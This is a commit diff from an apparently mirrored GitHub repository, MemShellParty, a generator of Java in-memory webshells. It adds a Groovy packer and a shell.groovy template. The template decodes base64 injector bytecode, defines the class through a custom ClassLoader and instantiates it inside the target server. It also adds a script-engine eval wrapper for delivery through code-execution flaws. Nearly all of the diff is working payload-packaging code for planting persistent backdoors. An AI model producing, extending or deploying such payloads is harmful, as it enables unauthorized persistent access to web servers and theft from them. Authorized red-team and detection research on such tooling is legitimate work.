mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-23 23:41:52 +08:00
feat: add groovy definer packer
This commit is contained in:
@@ -15,7 +15,9 @@ import com.reajason.javaweb.memshell.packer.deserialize.hessian.HessianXSLTScrip
|
|||||||
import com.reajason.javaweb.memshell.packer.deserialize.java.*;
|
import com.reajason.javaweb.memshell.packer.deserialize.java.*;
|
||||||
import com.reajason.javaweb.memshell.packer.el.ELPacker;
|
import com.reajason.javaweb.memshell.packer.el.ELPacker;
|
||||||
import com.reajason.javaweb.memshell.packer.freemarker.FreemarkerPacker;
|
import com.reajason.javaweb.memshell.packer.freemarker.FreemarkerPacker;
|
||||||
|
import com.reajason.javaweb.memshell.packer.groovy.GroovyDefinerPacker;
|
||||||
import com.reajason.javaweb.memshell.packer.groovy.GroovyPacker;
|
import com.reajason.javaweb.memshell.packer.groovy.GroovyPacker;
|
||||||
|
import com.reajason.javaweb.memshell.packer.groovy.GroovyScriptEnginePacker;
|
||||||
import com.reajason.javaweb.memshell.packer.jar.AgentJarPacker;
|
import com.reajason.javaweb.memshell.packer.jar.AgentJarPacker;
|
||||||
import com.reajason.javaweb.memshell.packer.jar.DefaultJarPacker;
|
import com.reajason.javaweb.memshell.packer.jar.DefaultJarPacker;
|
||||||
import com.reajason.javaweb.memshell.packer.jexl.JEXLPacker;
|
import com.reajason.javaweb.memshell.packer.jexl.JEXLPacker;
|
||||||
@@ -90,6 +92,9 @@ public enum Packers {
|
|||||||
SpELSpringUtils(new SpELSpringUtilsPacker(), SpELPacker.class),
|
SpELSpringUtils(new SpELSpringUtilsPacker(), SpELPacker.class),
|
||||||
|
|
||||||
Groovy(new GroovyPacker()),
|
Groovy(new GroovyPacker()),
|
||||||
|
GroovyDefiner(new GroovyDefinerPacker(), GroovyPacker.class),
|
||||||
|
GroovyScriptEngine(new GroovyScriptEnginePacker(), GroovyPacker.class),
|
||||||
|
|
||||||
Freemarker(new FreemarkerPacker()),
|
Freemarker(new FreemarkerPacker()),
|
||||||
Velocity(new VelocityPacker()),
|
Velocity(new VelocityPacker()),
|
||||||
JinJava(new JinJavaPacker()),
|
JinJava(new JinJavaPacker()),
|
||||||
|
|||||||
+35
@@ -0,0 +1,35 @@
|
|||||||
|
package com.reajason.javaweb.memshell.packer.groovy;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
|
import lombok.SneakyThrows;
|
||||||
|
import org.apache.commons.io.IOUtils;
|
||||||
|
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.nio.charset.Charset;
|
||||||
|
import java.util.Objects;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/5/11
|
||||||
|
*/
|
||||||
|
public class GroovyDefinerPacker implements Packer {
|
||||||
|
String template = null;
|
||||||
|
|
||||||
|
public GroovyDefinerPacker() {
|
||||||
|
try {
|
||||||
|
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell.groovy")), Charset.defaultCharset());
|
||||||
|
} catch (IOException ignored) {
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
@SneakyThrows
|
||||||
|
public String pack(GenerateResult generateResult) {
|
||||||
|
String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str();
|
||||||
|
String injectorClassName = generateResult.getInjectorClassName();
|
||||||
|
return template.replace("{{className}}", injectorClassName)
|
||||||
|
.replace("{{base64Str}}", injectorBytesBase64Str);
|
||||||
|
}
|
||||||
|
}
|
||||||
+2
-10
@@ -1,19 +1,11 @@
|
|||||||
package com.reajason.javaweb.memshell.packer.groovy;
|
package com.reajason.javaweb.memshell.packer.groovy;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.Packers;
|
import com.reajason.javaweb.memshell.packer.AggregatePacker;
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
|
||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/12/13
|
* @since 2024/12/13
|
||||||
*/
|
*/
|
||||||
public class GroovyPacker implements Packer {
|
public class GroovyPacker implements AggregatePacker {
|
||||||
String template = "new javax.script.ScriptEngineManager().getEngineByName('js').eval('{{script}}')";
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public String pack(GenerateResult generateResult) {
|
|
||||||
String script = Packers.ScriptEngine.getInstance().pack(generateResult);
|
|
||||||
return template.replace("{{script}}", script);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|||||||
+19
@@ -0,0 +1,19 @@
|
|||||||
|
package com.reajason.javaweb.memshell.packer.groovy;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.Packers;
|
||||||
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/13
|
||||||
|
*/
|
||||||
|
public class GroovyScriptEnginePacker implements Packer {
|
||||||
|
String template = "new javax.script.ScriptEngineManager().getEngineByName('js').eval('{{script}}')";
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String pack(GenerateResult generateResult) {
|
||||||
|
String script = Packers.ScriptEngine.getInstance().pack(generateResult);
|
||||||
|
return template.replace("{{script}}", script);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,36 @@
|
|||||||
|
class ClassDefiner extends ClassLoader {
|
||||||
|
public ClassDefiner() {
|
||||||
|
super(Thread.currentThread().getContextClassLoader());
|
||||||
|
}
|
||||||
|
|
||||||
|
public byte[] decodeBase64(String bytecodeBase64) {
|
||||||
|
java.util.Base64.Decoder decoder = java.util.Base64.getDecoder();
|
||||||
|
return decoder.decode(bytecodeBase64);
|
||||||
|
}
|
||||||
|
|
||||||
|
public Class<?> defineClass(byte[] code) {
|
||||||
|
return defineClass(null, code, 0, code.length);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String toString() {
|
||||||
|
String className = "{{className}}";
|
||||||
|
String base64Str = "{{base64Str}}";
|
||||||
|
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||||
|
try {
|
||||||
|
classLoader.loadClass(className).newInstance();
|
||||||
|
} catch (Exception e) {
|
||||||
|
try {
|
||||||
|
byte[] bytecode = decodeBase64(base64Str);
|
||||||
|
Class<?> clazz = defineClass(bytecode);
|
||||||
|
clazz.newInstance();
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return className;
|
||||||
|
}
|
||||||
|
|
||||||
|
static void main(String[] args) {
|
||||||
|
new ClassDefiner().toString();
|
||||||
|
}
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user